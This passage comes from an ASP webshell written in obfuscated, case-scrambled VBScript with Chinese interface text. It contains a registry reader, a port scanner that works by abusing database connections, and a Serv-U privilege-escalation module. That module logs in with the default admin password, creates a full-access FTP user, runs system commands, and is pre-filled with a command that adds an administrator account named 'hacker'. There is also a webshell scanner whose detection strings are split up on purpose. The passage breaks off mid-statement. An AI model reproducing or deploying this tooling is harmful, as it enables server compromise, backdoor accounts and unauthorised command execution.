\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{8A465128-8E99-4B0C-AFF3-1348DC55EB2E}\TCPAllowedPorts {允许的TCP/IP端口}<br/>"
rRs "HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\{8A465128-8E99-4B0C-AFF3-1348DC55EB2E}\UDPAllowedPorts {允许的UDP端口}<br/>"
RRs "-----------OVER--------------------<br/>"
rRS "HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count {共几块活动网卡}<br/>"
rRs "HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind {当前网卡的序列(把上面的替换)}<br/>"
Rrs "</span>"
rrs "</form><hr/>"
If reQuEST("thePath")<>"" thEn
oN erroR ReSuME neXT
set wsX = SErvEr.createObJEct("WScript.Shell")
ThEPATH=requeSt("thePath")
theaRray=wSX.RegrEaD(THepAtH)
iF ISARray(tHEarrAY) ThEn
foR i=0 to UboUnd(theArray)
rrs "<li>" & thEaRrAy(I)
nEXt
 ELse
rrS "<li>" & THEArrAY
End IF
END iF
enD Sub
sub ScanPORt()
ServEr.SCripTtimeout = 7776000
If ReQuEST.foRm("port")="" tHEn
pORTlISt="21,23,25,80,110,135,139,445,1433,3389,43958"
eLse
PortlISt=rEqUesT.fOrm("port")
end iF
iF reqUeST.fOrm("ip")="" tHen
ip="127.0.0.1"
ELSe
Ip=rEqUEST.Form("ip")
EnD If
RRS"<p>端口扫描器</p>"
Rrs"<form name='form1' method='post' action='' onSubmit='form1.submit.disabled=true;'>"
rrS"<p>Scan IP:&nbsp;"
rRS" <input name='ip' type='text' class='TextBox' id='ip' value='"&rEQueSt.SerVErVarIAbLeS("LOCAL_ADDR")&"' size='60'>"
rRs"<br>Port List:"
rrs"<input name='port' type='text' class='TextBox' size='60' value='"&PORTLIsT&"'>"
rrs"<br><br>"
rRS"<input name='submit' type='submit' class='buttom' value=' 扫描 '>"
rRS"<input name='scan' type='hidden' id='scan' value='111'>"
rrs"</p></form>"
if ReqUEst.Form("scan") <> "" THen
timEr1 = tIMER
RrS("<b>扫描报告:</b><br><hr>")
TMp = SPLiT(rEqUeSt.foRm("port"),",")
Ip = spLIT(rEQueSt.fORM("ip"),",")
FOr Hu = 0 to ubounD(IP)
If inSTR(Ip(HU),"-") = 0 thEn
FOR I = 0 TO UBound(tmP)
IF isNumERIC(TmP(I)) THen 
caLl ScaN(Ip(HU), TmP(I))
ElSe
sEEkx = INstR(tmP(i), "-")
IF SEEKx > 0 Then
StarTn = leFT(TMp(i), sEeKX - 1 )
endN = RIghT(Tmp(i), LEn(tMp(i)) - seeKx )
if ISnUMERIc(starTn) ANd iSnUMerIc(EnDn) ThEN
foR j = startn TO ENDn
CalL ScAN(Ip(Hu), J)
nEXt
eLSE
Rrs(staRTn & " or " & endn & " is not number<br>")
END IF
eLsE
rrs(TMp(i) & " is not number<br>")
enD If
ENd IF
NeXt
elsE
IpsTart = Mid(ip(hu),1,iNstrrev(ip(hU),"."))
fOr xXx = MID(iP(HU),inSTRreV(Ip(Hu),".")+1,1) TO mID(ip(Hu),iNStR(IP(hu),"-")+1,lEn(iP(Hu))-iNsTr(IP(hu),"-"))
fOr I = 0 to uBOund(TMP)
if isnUMeric(tMp(i)) theN 
cALl sCaN(ipstART & XXX, tMp(I))
ELSe
SeeKx = instR(TMp(I), "-")
If seekx > 0 tHen
STArtN = lefT(tMp(i), SEEkX - 1 )
ENdn = riGht(tMP(I), LeN(tMP(i)) - sEEkX )
iF isnumEriC(STARTN) AND isNUMeRIc(eNdn) THEN
fOR J = STartn TO ENdN
call SCaN(IpSTArT & xXx,J)
nexT
eLSE
rrS(STarTn & " or " & endn & " is not number<br>")
end if
ELse
rRS(tMP(i) & " is not number<br>")
EnD IF
eND If
NExt
NexT
eNd IF
NEXt
TimER2 = timEr
tHETIME=CsTr(INT(TimER2-TiMeR1))
rrs"<hr>Process in "&tHetImE&" s"
END IF
enD SuB
suB sCAN(TArGeTIP, poRtnuM)
	ON eRROr RESUme NEXT
	seT coNn = sErVer.crEATeObJECt("ADO" & "DB." & "con" & "nec" & "tio" & "n")
	cOnnstr="Provider=SQLOLEDB.1;Data Source=" & TarGetiP &","& PORTNUM &";User ID=lake2;Password=;"
	cONN.CoNNECTioNtIMEoUt = 1
	conn.oPen cONNSTr
	If Err tHeN
		IF Err.NumBer = -2147217843 OR Err.nUmBer = -2147467259 then
			IF InsTR(eRr.dESCrIPTIoN, "(Connect()).") > 0 theN
				rrS(taRgeTip & ":" & poRTNuM & ".........关闭<br>")
			Else
				rRS(tArGetip & ":" & poRtnuM & ".........<font color=red>开放</font><br>")
			END If
		ENd iF
	eNd If
ENd sub
SelEct cAsE acTioN
  Case "MainMenu":MainMenu()
  Case "getTerminalInfo":getTerminalInfo()
  Case "PageAddToMdb":PageAddToMdb()
  case "ScanPort":ScanPort()
  case "CreateMdb"
  Case "Servu"
sUaCTioN=ReqUEsT("SUaction")
IF  Not isnUmErIC(SUACtiON) thEN ResPONsE.enD
uSER = TRIm(rEQuEST("u"))
PaSs = TRiM(REQUesT("p"))
pOrt = tRiM(REqUEST("port"))
cMd = TRiM(reqUEST("c"))
F=TRIM(ReqUEsT("f"))
iF f="" theN
F=GpATH()
ELSe
   f=LeFT(f,2)
eNd if
fTPPORT = 65500
tIMeout=3
lOGinUSer = "User " & usEr & vBcrlf
lOgInPass = "Pass " & PasS & vbcrlF
dEldOMaIn = "-DELETEDOMAIN" & VBcrlF & "-IP=0.0.0.0" & vBCrlf & " PortNo=" & fTPpORt & vbcRlF
Mt = "SITE MAINTENANCE" & vbCrLF
neWDOmain = "-SETDOMAIN" & VbCrlf & "-Domain=goldsun|0.0.0.0|" & ftPpoRt & "|-1|1|0" & vBCRLF & "-TZOEnable=0" & VbCrLF & " TZOKey=" & VbcrLF
nEWusEr = "-SETUSERSETUP" & VBCrLF & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & FTpPoRT & vbcRlF & "-User=go" & VbCrlF & "-Password=od" & vbCrlF & _
        "-HomeDir=c:\\" & VbCRLf & "-LoginMesFile=" & vBcRlf & "-Disable=0" & Vbcrlf & "-RelPaths=1" & VbCrlF & _
        "-NeedSecure=0" & VbcrLf & "-HideHidden=0" & VbCrLf & "-AlwaysAllowLogin=0" & VbCrLf & "-ChangePassword=0" & vBCRlF & _
        "-QuotaEnable=0" & VbCrlF & "-MaxUsersLoginPerIP=-1" & VbcRLF & "-SpeedLimitUp=0" & VbcrLf & "-SpeedLimitDown=0" & VbcrLF & _
        "-MaxNrUsers=-1" & vbcrlf & "-IdleTimeOut=600" & vbcrLF & "-SessionTimeOut=-1" & VbCRlf & "-Expire=0" & vbcrlF & "-RatioUp=1" & VBCrLf & _
        "-RatioDown=1" & vBCRlF & "-RatiosCredit=0" & vbCRlF & "-QuotaCurrent=0" & vBCRLf & "-QuotaMaximum=0" & VbCRlf & _
        "-Maintenance=System" & VBCRlF & "-PasswordType=Regular" & vbCrlf & "-Ratios=None" & vbCrLF & " Access=c:\\|RWAMELCDP" & VBCrlf
quIT = "QUIT" & VbCrlf
newUsER=rEPlacE(neWuser,"c:",f)
SElEct CAsE SuaCtiOn
cASE 1
seT a=sERVER.crEATeobJect("Microsoft.XMLHTTP")
a.opEN "GET", "http://127.0.0.1:" & PORT & "/goldsun/upadmin/s1",True, "", ""
A.Send LoginUSER & lOginpaSS & mT & dELDOMain & NEWdoMAIn & nEWusER & qUIt
SEt SesSioN("a")=a
RRS"<form method='post' name='goldsun'>"
rrs"<input name='u' type='hidden' id='u' value='"&uSeR&"'></td>"
rrs"<input name='p' type='hidden' id='p' value='"&PasS&"'></td>"
RrS"<input name='port' type='hidden' id='port' value='"&poRT&"'></td>"
rRS"<input name='c' type='hidden' id='c' value='"&Cmd&"' size='50'>"
RrS"<input name='f' type='hidden' id='f' value='"&F&"' size='50'>"
rrs"<input name='SUaction' type='hidden' id='SUaction' value='2'></form>"
rrs"<script language='javascript'>"
Rrs"document.write('<center>正在连接 127.0.0.1:"&pOrT&",使用用户名: "&useR&",口令："&paSS&"...<center>');"
rrS"setTimeout('document.all.goldsun.submit();',4000);"
RRs"</script>"
caSe 2
set b=sERVEr.CREateoBjeCt("Microsoft.XMLHTTP")
b.opeN "GET", "http://127.0.0.1:" & FTPPoRt & "/goldsun/upadmin/s2", TRue, "", ""
B.SeND "User go" & VbcRLf & "pass od" & VbcRLF & "site exec " & CMd & VBCRLF & QUiT
sEt SEsSion("b")=B
rrs"<form method='post' name='goldsun'>"
RrS"<input name='u' type='hidden' id='u' value='"&uSER&"'></td>"
RrS"<input name='p' type='hidden' id='p' value='"&PaSs&"'></td>"
rrs"<input name='port' type='hidden' id='port' value='"&poRt&"'></td>"
rRS"<input name='c' type='hidden' id='c' value='"&CMd&"' size='50'>"
RRs"<input name='f' type='hidden' id='f' value='"&f&"' size='50'>"
RRs"<input name='SUaction' type='hidden' id='SUaction' value='3'></form>"
RRS"<script language='javascript'>"
Rrs"document.write('<center>正在提升权限,请等待…………<center>');"
rRS"setTimeout(""document.all.goldsun.submit();"",4000);"
RRS"</script>"
CAsE 3
set C=sERVEr.CREateobJEct("Microsoft.XMLHTTP")
a.OPen "GET", "http://127.0.0.1:" & PoRt & "/goldsun/upadmin/s3", tRue, "", ""
A.sEnD LOGINuSer & LOgInPAss & MT & DeldOMAIN & QUIT
set SEssiOn("a")=a
rRs"<center>提权完毕,已执行了命令：<br><font color=red>"&CMD&"</font><br><br>"
RRS"<input type=button value=' 返回继续 ' onClick=""location.href='?Action=Servu';"">"
rrS"</center>"
CaSe eLSe
on ErROr RESumE neXt
    SET A=SeSSIOn("a")
    sEt b=SESSION("b")
    sET c=SEsSIOn("c")
    a.aBOrt
    SEt A = noThing
    B.aBORT
    sET b = NOtHInG
    c.aBORt
    sET c = NOThiNG
RRs"<center><form method='post' name='goldsun'>"
rRS"<table width='494' height='163' border='1' cellpadding='0' cellspacing='1' bordercolor='#666666'>"
RrS"<tr align='center' valign='middle'>"
rrS"<td colspan='2'>Serv-U 提升权限 呆子修改版</td>"
RRs"</tr>"
RRS"<tr align='center' valign='middle'>"
rrs"<td width='100'>用户名:</td>"
Rrs"<td width='379'><input name='u' type='text' id='u' value='LocalAdministrator'></td>"
rrs"</tr>"
rrS"<tr align='center' valign='middle'>"
rrs"<td>口 令：</td>"
rrS"<td><input name='p' type='text' id='p' value='#l@$ak#.lk;0@P'></td>"
rRS"</tr>"
RRS"<tr align='center' valign='middle'>"
rRs"<td>端 口：</td>"
rrs"<td><input name='port' type='text' id='port' value='43958'></td>"
rrs"</tr>"
rrs"<tr align='center' valign='middle'>"
RrS"<td>系统路径：</td>"
rRs"    <td><input name='f' type='text' id='f' value='"&f&"' size='8'></td>"
RrS"  </tr>"
RRs"  <tr align='center' valign='middle'>"
RRs"    <td>命　令：</td>"
rRs"    <td><input name='c' type='text' id='c' value='cmd /c net user hacker 123456 /add & net localgroup administrators hacker /add' size='50'></td>"
rrS"  </tr>"
rRS" <tr align='center' valign='middle'>"
RRS"    <td colspan='2'><input type='submit' name='Submit' value='提交'> "
rrs"<input type='reset' name='Submit2' value='重置'>"
Rrs"<input name='SUaction' type='hidden' id='action' value='1'></td>"
RRS"</tr></table></form></center>"
ENd sElECT
FunCtiOn gpAtH()
ON erROR REsUMe next
    Err.CleaR
    Set f=sERver.cREateOBJECt("Scripting.FileSystemObject")
    if err.nUmBer>0 THeN
	gpATh="c:"
        eXIt fUncTioN
    eND IF
GpaTH=F.gEtsPECialFoldER(0)
GpAth=LcASe(leFT(GpatH,2))
SET F=NothInG
END FUNcTIon
  caSe "kmuma"
	DIM rEpORT
	If REQUEst.quEryStriNg("act")<>"scan" tHen
	  	rRs ("<b>网站根目录</b>- "&sErveR.mAppATH("/")&"<br>")
		Rrs ("<b>本程序目录</b>- "&seRVER.MAPPaTH("."))

		RrS "<form action=""?Action=kmuma&act=scan"" method=""post"" name=""form1"">"
		rrS "<p><b>填入你要检查的路径：</b>"
		RrS "<input name=""path"" type=""text"" style=""border:1px solid #999"" value=""\"" size=""30"" /> 填“\”网站根目录；“.”为本程序目录<br><br>"
		rrS "你要干什么: <input class=c name=""radiobutton"" type=""radio"" value=""sws"" onClick=""document.getElementById('showFile1').style.display='none'"" checked>查ASP 马"
		Rrs "<input class=c type=""radio"" name=""radiobutton"" value=""sf"" onClick=""document.getElementById('showFile1').style.display=''"">搜索符合条件之文件<br>"
		RrS "<br /><div id=""showFile1"" style=""display:none"">"
		RRs "&nbsp;&nbsp;查找内容：<input name=""Search_Content"" type=""text"" id=""Search_Content"" style=""border:1px solid #999"" size=""20"">"
		RRS " 要查找的字符串，不填就只进行日期检查<br />"
		rRS "&nbsp;&nbsp;修改日期：<input name=""Search_Date"" type=""text"" style=""border:1px solid #999"" value="""&LEfT(nOW(),INSTr(NOw()," ")-1)&""" size=""20""> 多个日期用;隔开，任意日期填写 <a href=""#"" onClick=""javascript:form1.Search_Date.value='ALL'"">ALL</a><br />"
		rRS "&nbsp;&nbsp;文件类型：<input name=""Search_FileExt"" type=""text"" style=""border:1px solid #999"" value=""*"" size=""20""> 类型之间用,隔开，*表示所有类型<br /><br /></div>"
		RRS "<input type=""submit"" value="" 开始扫描 "" style=""background:#ccc;border:2px solid #fff;padding:2px 2px 0px 2px;margin:4px;"" />"
		rrs "</form>"
	eLSe
		IF rEQUeSt.FORm("path")="" THen
			rrS("路径不能为空")
			REsPOnSe.end()
		eNd IF
		IF ReqUEsT.ForM("path")="\" TheN
			TmPPaTh = seRVER.MaPpaTH("\")
		eLSEIF reqUesT.FoRM("path")="." tHen
			TmpPath = sERveR.MAppATH(".")
		Else
			TMPPaTh = ReQUEST.FoRm("path")
		ENd if
		
		tIMER1 = TIMeR
		Sun = 0
		sumfilEs = 0
		SumFOLderS = 1
		iF rEquesT.FORM("radiobutton") = "sws" THen
			DiMfiLEEXt = "asp,cer,asa,cdx"
			CAll ShowAllFiLe(TmpPAtH)
		eLse
			if REqueST.FOrM("path") = "" Or rEqUEsT.forM("Search_Date") = "" or rEqUeST.FOrM("Search_FileExt") = "" thEn
				rrs("缉捕条件不完全<br><br><a href='javascript:history.go(-1);'>请返回重新输入</a>")
				reSPONSE.End()
			ENd iF
			diMfILEExt = reQUeST.FOrM("Search_fileExt")
			CAlL ShowaLlFiLE2(TmppATH)
		EnD if
rRS "<table width=""100%"" border=""0"" cellpadding=""0"" cellspacing=""0"" style='font-size:12px'>"
rrS "<tr><th>Scan WebShell -- 呆子修改版</tr>"
Rrs "<tr><td style=""padding:5px;line-height:170%;clear:both;font-size:12px"">"
RRS "<div id=""updateInfo"" style=""background:ffffe1;border:1px solid #89441f;padding:4px;display:none""></div>"
rrs "扫描完毕！一共检查文件夹<font color=""#FF0000"">"&SumfoLDers&"</font>个，文件<font color=""#FF0000"">"&SUMfiLes&"</font>个，发现可疑点<font color=""#FF0000"">"&SuN&"</font>个"
rRS "<table width=""100%"" border=""1"" cellpadding=""0"" cellspacing=""8"" bordercolor=""#999999"" style=""font-size:12px;border-collapse:collapse;line-height:130%;clear:both;""><tr>"
If REqUeSt.ForM("radiobutton") = "sws" thEN
	rrS "<td width=""20%"">文件相对路径</td>"
	rRS "<td width=""20%"">特征码</td>"
	RRs "<td width=""40%"">描述</td>"
	RRs "<td width=""20%"">创建/修改时间</td>"
eLsE   
	Rrs "<td width=""50%"">文件相对路径</td>"
	RRs "<td width=""25%"">文件创建时间</td>"
	rrs "<td width=""25%"">修改时间</td>"
enD iF
	RRS "</tr>"
	rrS rEporT
	RRs "<br/></table>"
timeR2 = tiMER
thETIme=csTr(iNT(((TImEr2-TimEr1)*10000 )+0.5)/10)
RrS "<br><font style='font-size:12px'>本页执行共用了"&tHetIME&"毫秒</font>"
	eND iF
sUB ShOwaLLfIlE(paTh)
	set f1SO = cReAteobjecT("Scripting.FileSystemObject")
	IF noT f1SO.FOldERExISTs(path) TheN exiT sUb
	SET f = f1so.GeTFoLDEr(PaTh)
	set fc2 = f.fiLeS
	fOR eacH MYFIle In FC2
		IF CHeCkexT(f1so.gEtEXTEnsiONNaMe(path&"\"&MyfIle.nAmE)) theN
			caLL sCANfILe(Path&TeMp&"\"&mYfILe.NAme, "")
			SuMfiLes = SumFiLeS + 1
		eNd IF
	next
	sEt FC = f.SuBFOLderS
	for EAch F1 in fC
		shoWallFiLE PaTh&"\"&f1.nAmE
		sUMFoldeRs = sUmFoldeRs + 1
    nEXT
	set f1SO = nOtHing
EnD sub
sUb ScAnFILe(fIlepAth, infILE)
ServER.scrIptTIMEouT=999999999
	IF INfIlE <> "" tHeN
		InFIleS = "<font color=red>该文件被<a href=""http://"&reqUEsT.SERvErVArIABLEs("server_name")&"/"&tuRLeNCOdE(iNFilE)&""" target=_blank>"& InFiLE & "</a>文件包含执行</font>"
	EnD IF
	sEt fSo1s = cReAtEoBjEct("Scripting.FileSystemObject")
	on eRror rESuMe nexT
	seT oFIle = Fso1s.oPentExtfIle(FilePATh)
	FilEtXt = lcase(OFILe.READAll())
	If err tHEn EXIT suB End if
	IF LeN(filETxT)>0 theN
		FiLETxt = vBCrlF & fILeTxT
		tEMp = "<a href=""http://"&rEQUEST.SerVervaRiABles("server_name")&"/"&TURlENCode(RePLAce(ReplaCE(FILEpaTh,SeRvEr.MAPpATH("\")&"\","",1,1,1),"\","/"))&""" target=_blank>"&REPlacE(FILePatH,SeRveR.mAPpAtH("\")&"\","",1,1,1)&"</a><br />"
    TeMp=TEmP&"<a href='javascript:FullForm("""&RePLace(REPlaCe(FiLEPAth,SerVer.MappATH("\")&"\","",1,1,1),"\","\\")&""",""EditFile"")' class='am' title='编辑'>编辑</a> "
	TeMP=TEmp&"<a href='javascript:FullForm("""&rEplAcE(replACE(FilepATh,sErveR.mAPpaTh("\")&"\","",1,1,1),"\","\\")&""",""DelFile"")'  onclick='return yesok()' class='am' title='删除'>删除</a > "
	TeMP=TemP&"<a href='javascript:FullForm("""&rEpLace(replACe(fIlEpaTh,SeRver.MAPPAth("\")&"\","",1,1,1),"\","\\")&""",""CopyFile"")' class='am' title='复制'>复制</a> "
	TEMp=tEMP&"<a href='javascript:FullForm("""&rEplaCe(rEplAcE(FILEpatH,sERvEr.maPpath("\")&"\","",1,1,1),"\","\\")&""",""MoveFile"")' class='am' title='移动'>移动</a>"	
			if INsTr( fileTxT, lCasE("WScr"&doMYBest&"ipt.Shell") ) OR instr( Filetxt, LcasE("clsid:72C24DD5-D70A"&DomYBesT&"-438B-8A42-98424B88AFB8") ) THEn
				rePorT = RePOrt&"<tr><td>"&teMp&"</td><td>WScr"&doMYBesT&"ipt.Shell 或者 clsid:72C24DD5-D70A"&dOmybeST&"-438B-8A42-98424B88AFB8</td><td><font color=red>危险组件，一般被ASP木马利用</font>"&INFIlEs&"</td><td>"&GEtDatECrEAtE(fiLEPATH)&"<br>"&GetdAtemoDiFY(fIlePAtH)&"</td></tr>"
				SUn = sUN + 1
				TEmP="-=| 同上 |=-"
			EnD IF
			IF INStr( FILetXt, lcAsE("She"&domYBEsT&"ll.Application") ) oR InSTr( FilETXt, lcAsE("clsid:13709620-C27"&doMyBEst&"9-11CE-A49E-444553540000") ) THEn
				RePoRT = REPoRT&"<tr><td>"&TEMP&"</td><td>She"&DOmyBEst&"ll.Application 或者 clsid:13709620-C27"&domybEsT&"9-11CE-A49E-444553540000</td><td><font color=red>危险组件，一般被ASP木马利用</font>"&INFilES&"</td><td>"&gEtdaTECREATE(FilePaTH)&"<br>"&gETDATEModIfy(fIlEpAth)&"</td></tr>"
				SUN = SUn + 1
				tEMP="-=| 同上 |=-"
			End if
			Set reGEX = new reGeXP
			rEGeX.IgNORecASE = true
			regeX.gloBAL = TrUE
			regex.pAtTerN = "\bLANGUAGE\s*=\s*[""]?\s*(vbscript|jscript|javascript).encode\b"
			If RegEx.tESt(FILeTxt) THen
				rePoRT = rEPoRT&"<tr><td>"&TEmP&"</td><td>(vbscript|jscript|javascript).Encode</td><td><font color=red>似乎脚本被加密了</font>"&inFIlES&"</td><td>"&GETDatecreAtE(FilepAtH)&"<br>"&GetDaTEModIFY(FIlEpatH)&"</td></tr>"
				SUN = sun + 1
				TEMP="-=| 同上 |=-"
			ENd If
			Regex.PatTern = "\bEv"&"al\b"
			if ReGEx.TESt(fILETXt) THeN
				RepORT = rEpoRT&"<tr><td>"&teMP&"</td><td>Ev"&"al</td><td>e"&"val()函数可以执行任意ASP代码<br>但是javascript代码中也可以使用，有可能是误报。"&iNfILes&"</td><td>"&getDateCreATe(fIlepatH)&"<br>"&GeTDAtEMoDIfy(FilepATh)&"</td></tr>"
				sun = SUn + 1
				TEMP="-=| 同上 |=-"
			ENd IF
			REGex.PattErN = "[^.]\bExe"&"cute\b"
			If REGex.TesT(fiLetxT) ThEN
				RepOrt = RepoRT&"<tr><td>"&TemP&"</td><td>Exec"&"ute</td><td><font color=red>e"&"xecute()函数可以执行任意ASP代码</font><br>"&iNfilES&"</td><td>"&gEtDatEcReaTe(FiLEpaTh)&"<br>"&GeTdAteMOdIfY(fiLepAtH)&"</td></tr>"
				sun = Sun + 1
				temP="-=| 同上 |=-"
			enD iF
			rEGex.paTTern = "\.(Open|Create)TextFile\b"
			iF REgeX.TeSt(filETXt) then
				RePoRT = REpOrT&"<tr><td>"&teMp&"</td><td>.CreateTextFile|.OpenTextFile</td><td>使用了FSO的CreateTextFile|OpenTextFile读写文件"&INFiLEs&"</td><td>"&gETdateCreate(FiLEpAtH)&"<br>"&GetdatEMODIFy(FIlepatH)&"</td></tr>"
				sUn = sUN + 1
				temp="-=| 同上 |=-"
			end IF
			rEgEx.PATterN = "\.SaveToFile\b"
			IF rEGEx.tESt(fiLETXT) ThEn
				RePORt = rEporT&"<tr><td>"&tEmp&"</td><td>.SaveToFile</td><td>使用了Stream的SaveToFile函数写文件"&iNfIlEs&"</td><td>"&geTDAtECREate(fiLePaTH)&"<br>"&gEtdATEmodIfY(filepath)&"</td></tr>"
				Sun = sun + 1
				tEmP="-=| 同上 |=-"
			ENd if
			reGEx.PatTerN = "\.Save\b"
			if regEx.TEsT(fIlETxt) then
				REPORT = rePORt&"<tr><td>"&tEMp&"</td><td>.Save</td><td>使用了XMLHTTP的Save函数写文件"&InfILES&"</td><td>"&geTdateCReatE(FILepAth)&"<br>"&gETDAteMoDiFy(FIlEpAth)&"</td></tr>"
				SUn = sUN + 1
				Temp="-=| 同上 |=-"
			eND IF
		sEt reGeX = NothIng
		sET ReGex = NEw reGexp
		regEx.IGNorEcASE = True
		REgeX.GloBal = tRUE
		ReGEx.PAtTErN = "<!--\s*#include\s*file\s*=\s*"".*"""
		sET MATChEs = ReGex.ExEcUTe(FileTXT)
		foR